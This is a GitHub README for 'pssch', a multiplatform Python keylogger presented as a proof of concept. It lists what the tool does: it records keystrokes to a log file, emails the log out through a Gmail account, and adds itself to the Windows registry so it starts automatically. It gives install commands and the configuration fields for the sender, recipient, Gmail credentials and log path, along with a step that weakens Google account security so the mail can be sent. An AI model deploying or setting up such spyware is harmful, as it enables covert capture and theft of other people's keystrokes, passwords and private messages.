Skip to content
/ pssch Public

This is a proof of concept of a multiplatform python keylogger. This script runs on windows as well as mac osx and linux.

Notifications You must be signed in to change notification settings

gorkamu/pssch

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

33 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🤐🤐 Pssch - Multiplatform Keylogger

Pssch Multiplatform Keylogger

This is a proof of concept of a multiplatform python keylogger. This script runs on windows as well as mac osx and linux.

Things that already do:

  • Multiplatform support
  • Key events detection
  • I/O control to manage the creation and delete of the log file
  • Log Sending via Gmail Mehtod
  • Ability to be self added to the Windows Registry (regedit)

Things that work halfway:

  • Docker support
  • Windows run on startup

To enable the email sending via gmail just activate the following option https://myaccount.google.com/lesssecureapps?pli=1

How to install

If you are on Linux or in Mac OSx you can run the install.sh file. That file will install you all the needed dependencies to run the project. Minimun dependencies:

  • Python 2.7.3
  • Pip 1.2.1
  • Setuptools 0.6
    sudo chmod 775 install.sh
    ./install.sh

Pssch Linux Installation

If this fails or you are on Windows run individually each of these steps:

    pip install -r ./requirements.txt

If this method throws you an error, launch the following commands:

    pip install pynput
    pip install keyboard

After that, you have to configure the script's properties such as LOG_FILE or GMAIL_ACCOUNT. To do that just edit the pssch.py file and modifity the following properties;

    self.EMAIL_FROM='pssch@gmail.com'
    self.EMAIL_TO='blablabla@gmail.com'
    self.GMAIL_USER='bliblibli@gmail.com'
    self.GMAIL_PWD='****'
    self.LOG_FILE = '/Users/blabla/log.dat'

Fill them before start the script

To launch and run the script:

    python pssch.py

if during the execution the script fails due to lack of parameters you will see something like the following

Pssch Keylogger Error

Development resources

About

This is a proof of concept of a multiplatform python keylogger. This script runs on windows as well as mac osx and linux.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published